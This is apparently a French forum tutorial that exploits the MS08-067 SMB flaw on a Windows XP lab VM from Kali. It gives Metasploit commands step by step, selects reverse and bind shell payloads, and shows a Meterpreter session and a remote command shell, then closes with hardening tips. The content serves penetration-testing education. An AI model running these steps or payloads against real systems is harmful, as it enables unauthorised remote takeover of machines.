Tout d'abord, bonne année et bonne santé à tout le monde.
Voici un petit tuto pour cette nouvelle année.
Installez Windows XP Professional x86 (32bit) SP3 FR, et un Kali Linux, dans des machines virtuelles (en configurant les cartes réseaux des deux machines virtuelles dans le même réseau).
Dans le WinXP, lancez une session Administrateur, puis, désactivez les mises à jour de WinXP, ainsi que son firewall. Tout le long du lab, restez connectés en Administrateur (ou un utilisateur ayant les privilèges Administrateur) (et oui, c'est exagéré, mais, c'est juste un test en lab…)
Configurez les deux machines WinXP et Kali, dans le même réseau, de préférence avec des ip statiques, que vous connaissez.
Nous allons exploiter la CVE-2008-4250, qui est la faille la plus exploité, connue, documenté, mais aussi la plus stable sous metasploit -> WinXP et la plus simple à mettre en place (mais aussi une des plus dangereuses, si le correctif n'est pas appliqué sur WinXP 32bit)
N.B. : Malheureusement, lorsque vous lancez un scan GVM sur votre Kali -> WinXP, ce dernier ne trouve pas la faille "CVE-2008-4250", car elle se trouve très difficile à détecter par GVM, et d'autres failles SMB RCE (Remote Code Execution), prennent le dessus, comme les CVE-2009-xxxx, etc… Malheureusement, vous devez connaître cette faille, pour pouvoir la tester (si vous avez d'autres suggestions, ou que vous voulez me corriger, c'est avec plaisir, publiez juste un petit message)
Exploitons-la à présent :
Lancez une recherche "microsoft bulletin CVE-2008-4250". Ouvrez le Microsoft Security bulletin MS08-067 (Vous pouvez le lire pour votre instruction).
Il s'agit bien donc du Bulletin de Sécurité Microsoft MS08-067. C'est bien de ce numéro qu'on va se servir pour définir l'exploit de la faille dans metasploit (et non du CVE).
Allez donc sur votre Kali Linux (de préférence mis à jour), puis, dans un shell (bash par ex., pas besoin d'être en root). Tapez à l'invite :
Code : Tout sélectionner
msfconsoleVous pouvez avoir l'aide de metasploit en tapant "help" à l'invite de commande. Ensuite,
A l'invite "msf>", tapez :
Code : Tout sélectionner
search ms08-067On voit ici :
… Et surtout, ce qui nous intéresse :msf > search ms08-067
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms08_067_netapi 2008-10-28 great Yes MS08-067 Microsoft Server Service Relative Path Stack Corruption
…
-
On voit ici que cette faille est dans le module "netapi", et concerne le protocole SMB (Server Message Block). Tapez à l'invite de commande :exploit/windows/smb/ms08_067_netapi
-
Code : Tout sélectionner
use exploit/windows/smb/ms08_067_netapiLe message :msf > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit(windows/smb/ms08_067_netapi) >
Nous indique que comme aucun payload n'a été configuré, le payload "windows/meterpreter/reverse_tcp" a été pris par défaut. C'est de loin le meilleur pour moi, car on peut faire des téléchargements et des uploads et déplacements latéraux, faire une capture d'écran, entre autres. Nous le laissons donc par défaut.[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
N.B. : Brève explication à propos des shells proposés (bind et reverse):
-
- Un bind shell, est une connexion directe, tout ce qu'il y a de plus normal, la machine Kali se connecte à WinXP directement par un port. Celle-ci échoue souvent, car, les pare-feu autorisent certaines connexions (ceux définis par le système, et/ou ceux ouverts par les administrateurs, nécessaires), et, par défaut bloquent toutes les autres (inconnues), comme le port 4444 (ou autres aléatoires)
- Un reverse shell : Kali initie la connexion, puis, lance l'écoute sur un port donné de sa propre machine (Kali), et demande à WinXP, de se connecter sur ce port, et de là, vous obtenez un shell de la machine distante.
- Comme ChatGPT le dit :
- Un bind shell : viens chez moi
Un reverse shell : je viens chez toi
- Un bind shell : viens chez moi
A partir de ce moment, on peut voir les options de l'exploit. Tapez :
-
Code : Tout sélectionner
show options- nous obtenons ceci :
On voit ici les options qu'on peut modifier à l'aide du mot-clé "set". Modifions d'abord l'OS de destination; "target". Pour voir les OS exploitables de cet exploit, tapez "show targets"msf exploit(windows/smb/ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/
docs/using-metasploit/basics/using-metasploit.html
RPORT 445 yes The SMB service port (TCP)
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process,
none)
LHOST 127.0.0.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
-
Code : Tout sélectionner
show targets- On obtient :
On voit ici que notre OS concerné est bien :…
40 Windows XP SP3 Spanish (NX)
41 Windows XP SP3 Finnish (NX)
42 Windows XP SP3 French (NX)
43 Windows XP SP3 Hebrew (NX)
44 Windows XP SP3 Hungarian (NX)
45 Windows XP SP3 Italian (NX)
46 Windows XP SP3 Japanese (NX)
47 Windows XP SP3 Korean (NX)
48 Windows XP SP3 Dutch (NX)
49 Windows XP SP3 Norwegian (NX)
50 Windows XP SP3 Polish (NX)
51 Windows XP SP3 Portuguese - Brazilian (NX)
52 Windows XP SP3 Portuguese (NX)
53 Windows XP SP3 Russian (NX)
54 Windows XP SP3 Swedish (NX)
55 Windows XP SP3 Turkish (NX)
56 Windows 2003 SP1 English (NO NX)
57 Windows 2003 SP1 English (NX)
- …
-
On doit donc le définir pour l'exploit :42 Windows XP SP3 French (NX)
-
Code : Tout sélectionner
set target 42Code : Tout sélectionner
set RHOSTS 10.0.0.253Code : Tout sélectionner
set LHOST 10.0.0.2Maintenant que tout est bien configuré, vous pouvez faire un "show options" pour voir si vous n'avez pas commis d'erreur…
Si tout est correct, lançons l'exploit! Tapez :
-
Code : Tout sélectionner
exploit- vous obtenez (si tout est correct) :
msf exploit(windows/smb/ms08_067_netapi) > exploit
[*] Started reverse TCP handler on 10.0.0.2:4444
[*] 10.0.0.253:445 - Attempting to trigger the vulnerability...
[*] Sending stage (188998 bytes) to 10.0.0.253
[*] Meterpreter session 1 opened (10.0.0.2:4444 -> 10.0.0.253:1038) at 2025-12-31 21:37:17 +0100
meterpreter >
Magic! L'invite de commande "msf >", s'est transformée en "meterpreter >". C'est le signe que l'exploit a bien fonctionné. Maintenant, à votre guise d'exploiter le WinXP à partir de votre Kali, grâce à meterpreter! Vous pouvez vous servir de toutes les instructions Linux (comme ls, pwd, cd, etc…), mais aussi de "download", pour télécharger un fichier/répertorie ou "upload", pour envoyer un fichier/répertorie de votre Kali vers WinXP (vous pouvez taper "help", pour connaitre toutes les commandes disponibles).
Faites quelques lignes de commandes sur meterpreter, et allez voir les effets sur le WinXP. Oubliez pas, que pour quitter, vous devez taper "exit", car, si vous arrêtez la session improprement ([Ctrl]+[c]), ça va vous bloquer, pour réexploiter l'exploit, avec d'autres paramètres… Il faudra relancer la machine WinXP, dans ce cas, quitter metasploit, et recommencer depuis le début…
On peut essayer d'autres payloads (je vous avait dit qu'on s'est servi du payload par défaut). Tapez "exit", puis, à l'invite "msf >", saisissez :
-
Code : Tout sélectionner
show payloads- Vous obtenez :
Pour changer de payload, (tout reste configuré comme on l'a fait déjà), tapez :…
130 payload/windows/shell_bind_tcp . normal No Windows Command Shell, Bind TCP Inline
131 payload/windows/shell_hidden_bind_tcp . normal No Windows Command Shell, Hidden Bind TCP Inline
132 payload/windows/shell_reverse_tcp . normal No
…
-
Code : Tout sélectionner
set payload payload/windows/shell_bind_tcpCode : Tout sélectionner
exploit…
Shell Banner:
Microsoft Windows XP [version 5.1.2600]
-----
C:\WINDOWS\system32>dir
dir
Le volume dans le lecteur C n'a pas de nom.
Le num ro de s rie du volume est 14C9-C7DE
R pertoire de C:\WINDOWS\system32
21/12/2025 02:25 <REP> .
21/12/2025 02:25 <REP> ..
19/12/2025 00:02 261 $winnt$.inf
…
- Voilà, c'est un "cmd" sur votre WinXP!
Vous pouvez tester (pour l'exploit "ms08-067")
- - payload/windows/meterpreter/bind_tcp
- payload/windows/meterpreter/reverse_tcp
- payload/windows/shell/bind_tcp
- payload/windows/shell/reverse_tcp
- payload/windows/shell_bind_tcp
- payload/windows/shell_reverse_tcp
A la fin, comme un White Hat, ou un pentester, vous devez apprendre à sécuriser votre WinXP, afin que ce genre d'exploit ne se produise plus :
- - Mettez à jour Windows (Windows Update)
- Passez de la version x86 (32bits) à x64 (64bits)
- Si possible, désactiver SMBv1, pour ne le passer qu'à partir de SMBv2
- Activez, et configurez le firewall de Windows XP
- faire ceci en complément sur Windows Vista et Windows Server 2008 et supérieur (je n'ai pas testé…) :
-- netsh
netsh>rpc
netsh rpc>filter
netsh rpc filter>add rule layer=um actiontype=block
netsh rpc filter>add condition field=if_uuid matchtype=equal data=4b324fc8-1670-01d3-1278-5a47bf6ee188
netsh rpc filter>add filter
netsh rpc filter>quit
- netsh
Sources : ChatGPT et https://www.it-connect.fr/chapitres/uti ... etasploit/